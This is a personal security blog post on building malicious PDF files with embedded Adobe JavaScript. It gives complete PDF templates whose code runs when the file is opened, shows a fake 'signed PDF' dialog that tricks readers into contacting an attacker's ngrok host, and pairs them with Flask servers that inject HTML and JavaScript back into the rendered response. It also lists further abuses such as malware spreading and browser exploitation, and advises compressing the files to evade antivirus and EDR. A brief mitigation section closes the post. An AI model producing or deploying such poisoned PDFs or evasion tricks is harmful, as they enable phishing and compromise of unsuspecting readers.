Exploiting PDF files 💉

Well, this is my first post after too many time. To be honest, I think research is the most valuable hacking way to learn new things, and kill the 2021 year sharing knowledge is a plus for me.

Adobe JavaScript development

By default, Adobe *.PDF files support JavaScript programming language, and obviously, this feature can be used to malicious activities.

I knew about this feature a long time ago, and I was working in a laboratory that I left in oblivion, and now I share it (2013).

You can read more about, in the following documents:

app.alert() versus conventional JS functions

The first and interesting application of JavaScript into *.PDF files, is make a JavaScript pop-up; according to the JavaScript for Acrobat API Reference, the correct usage is with alert method:

This code can be used in many ways, but usually I’m use that with this template example:

The code:

%PDF-1.7
4 0 obj
<<
/Length 0
>>
stream

endstream endobj
5 0 obj
<<
/Type /Page
/Parent 2 0 R
/Resources 3 0 R
/Contents 4 0 R
/MediaBox [ 0 0 612 792 ]

>>
 endobj
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/OpenAction [ 5 0 R /Fit ]
  /Names << % the Javascript entry
    /JavaScript <<
      /Names [
        (EmbeddedJS)
        <<
          /S /JavaScript
          /JS (
            app.alert('HELLO');
          )
        >>
      ]
    >>
  >> % end of the javascript entry
>>
 endobj
2 0 obj
<<
/Type /Pages
/Count 1
/Kids [ 5 0 R ]

>>
 endobj
3 0 obj
<<
>>
 endobj
xref
0 6
0000000000 65535 f 
0000000166 00000 n 
0000000244 00000 n 
0000000305 00000 n 
0000000009 00000 n 
0000000058 00000 n 
trailer <<
/Size 6
/Root 1 0 R
>>
startxref
327
%%EOF

I have used this example for many years, in fact, even in 2019 I sent a report through the Open Bug Bounty platform to verify it as a particular type of XSS and to my surprise, it was accepted:

The negative: not all JavaScript programming support of Adobe in *.PDF files are exploitable using the browser, so, I think this have a low or medium impact, depending of the context, of course, because this is a rare and exceptional type of stored XSS.

HTTP Request to Response Code Injection using *.PDF files and Adobe Reader DC

But yes, is possible exploit all features of JavaScript programming language in order to pwn users of Windows machines. One real and possible attack flow based on HTTP request and response code injection:

The attacker server with code for response injection Flask app.py (GET request):

from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['GET'])
def ResponseInjection():
    return '''
<img src="https://static.wikia.nocookie.net/meme/images/1/15/Wine.gif">
            '''

if __name__ == '__main__':
    app.run(debug=True, port=5000)

And the simulation of a remote controlled server exposing app.py with Ngrok:

The JavaScript code to make an HTTP request using GET verb with poisoned PDF file:

function pwned(){var fakeSigned = app.alert({ cMsg: "This is a secure verified PDF file.", cTitle: "Signed PDF file", nIcon: 2, nType: 2 }); if ( fakeSigned == 4 ) this.getURL("https://abc.ngrok.io", false);}pwned()

And the JavaScript code adapted to the PDF context:

function pwned\(\)\r\n{\r\nvar fakeSigned = app.alert\({\r\n    cMsg: "This is a secure verified PDF file.",\r\n    cTitle: "Signed PDF file",\r\n    nIcon: 2, nType: 2\r\n    }\);\r\n    if \( fakeSigned == 4 \) this.getURL\("https://abc.ngrok.io", false\);\r\n}\r\npwned\(\)

The PDF template modified:

%PDF-1.7
4 0 obj
<<
/Length 0
>>
stream

endstream endobj
5 0 obj
<<
/Type /Page
/Parent 2 0 R
/Resources 3 0 R
/Contents 4 0 R
/MediaBox [ 0 0 612 792 ]

>>
 endobj
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/OpenAction [ 5 0 R /Fit ]
  /Names << % the Javascript entry
    /JavaScript <<
      /Names [
        (EmbeddedJS)
        <<
          /S /JavaScript
          /JS (
            function pwned\(\)\r\n{\r\nvar fakeSigned = app.alert\({\r\n    cMsg: "This is a secure verified PDF file.",\r\n    cTitle: "Signed PDF file",\r\n    nIcon: 2, nType: 2\r\n    }\);\r\n    if \( fakeSigned == 4 \) this.getURL\("https://abc.ngrok.io", false\);\r\n}\r\npwned\(\)
          )
        >>
      ]
    >>
  >> % end of the javascript entry
>>
 endobj
2 0 obj
<<
/Type /Pages
/Count 1
/Kids [ 5 0 R ]

>>
 endobj
3 0 obj
<<
>>
 endobj
xref
0 6
0000000000 65535 f 
0000000166 00000 n 
0000000244 00000 n 
0000000305 00000 n 
0000000009 00000 n 
0000000058 00000 n 
trailer <<
/Size 6
/Root 1 0 R
>>
startxref
327
%%EOF

The execution of the poisoned PDF file in a Windows 10 machine, with Adobe Acrobat Reader DC, and the generation of the new temporal *.PDF file with HTML rendered:

The valid GET HTTP request:

This process can be used additionally for generation of *.HTM temporal files, using the following JavaScript code to send by default POST http request:

this.submitForm({cURL: "https://abc.ngrok.io",cSubmitAs:"PDF"})

For that, is necessary change the verb method (POST) in the Flask app.py, modify the PDF template and execute them, again:

HTTP Response JavaScript Code Injection

The code of the controlled remote server to inject JavaScript code:

from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def ResponseInjection():
    return '''
<!DOCTYPE html>
<html>
<body>
<script>
document.write("<h1>This is an H1</h1><br><p>And this is an paragraph</p><br><img src='https://static.wikia.nocookie.net/meme/images/1/15/Wine.gif'>");
</script>
</body>
</html>
            '''

if __name__ == '__main__':
    app.run(debug=True, port=5000)

The PoC, exploiting this.getURL(“https://abc.ngrok.io”, false):

The PoC, exploiting this.submitForm({cURL: “https://abc.ngrok.io”,cSubmitAs:”PDF”}):

Finally, the code of the controlled server, to inject and execute JavaScript code after trying to close and save the rendered *.PDF file:

from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def ResponseInjection():
    return '''
<!DOCTYPE html>
<html>
<body onload="PwnPDF()">

<script>
function PwnPDF() {
  const xhttp = new XMLHttpRequest();
  xhttp.open("OPTIONS", "https://abc.ngrok.io/post-request");
  xhttp.send();
}
</script>

</body>
</html>
            '''

if __name__ == '__main__':
    app.run(debug=True, port=5000)

The PoC, exploiting the JavaScript code injection trying to close and save the rendered *.PDF file:

The OPTIONS HTTP request from the action of trying to close and save the rendered PDF file:

Beyond app.alert() JavaScript

What is possible exploit with that? Please, read the official documents attached in this article, but if you are lazy, let me list other exploitation ways with JavaScript programming language using *.PDF files:

  • Read, import and attach other files
  • Create and save other files
  • Consumption and representation of other type of files
  • Connection to databases
  • Rendering of HTML and JavaScript code
  • Social engineering attacks
  • Malware spread
  • (…)

Beyond HTTP Request to Response JavaScript Code Injection

As you can imagine, with this feature is possible make, for example:

  • Browser exploitation: injecting JavaScript code that can be rendered by temporal *.HTM files, and exploit zero-day or CVE about Google Chrome, Firefox, etc.
  • Controll the browser of the victim with any *.JS framework
  • DNS rebinding: invoke remote *.JS payload and libraries to scan private networks
  • Spreading *.JS malware and any type of malware
  • XMLHttpRequest to make any type of requests and collect the information
  • (…)

Antivirus and EDR Evasion

At this moment, this types of poisoned *.PDF files not are recognized suck as malicious, but in order to make this attacks more efficient, you can compress the *.PDF files. One tool maybe can help:

Additionnally you can compress *.PDF files using Adobe Acrobat PRO DC:

Mitigations?

Disable JavaScript execution using the following guides:

  • https://helpx.adobe.com/acrobat/using/javascripts-pdfs-security-risk.html
  • https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/index.html

Thanks and see you later! Sorry if you see English-writing mistakes, I’m trying to practice and learn.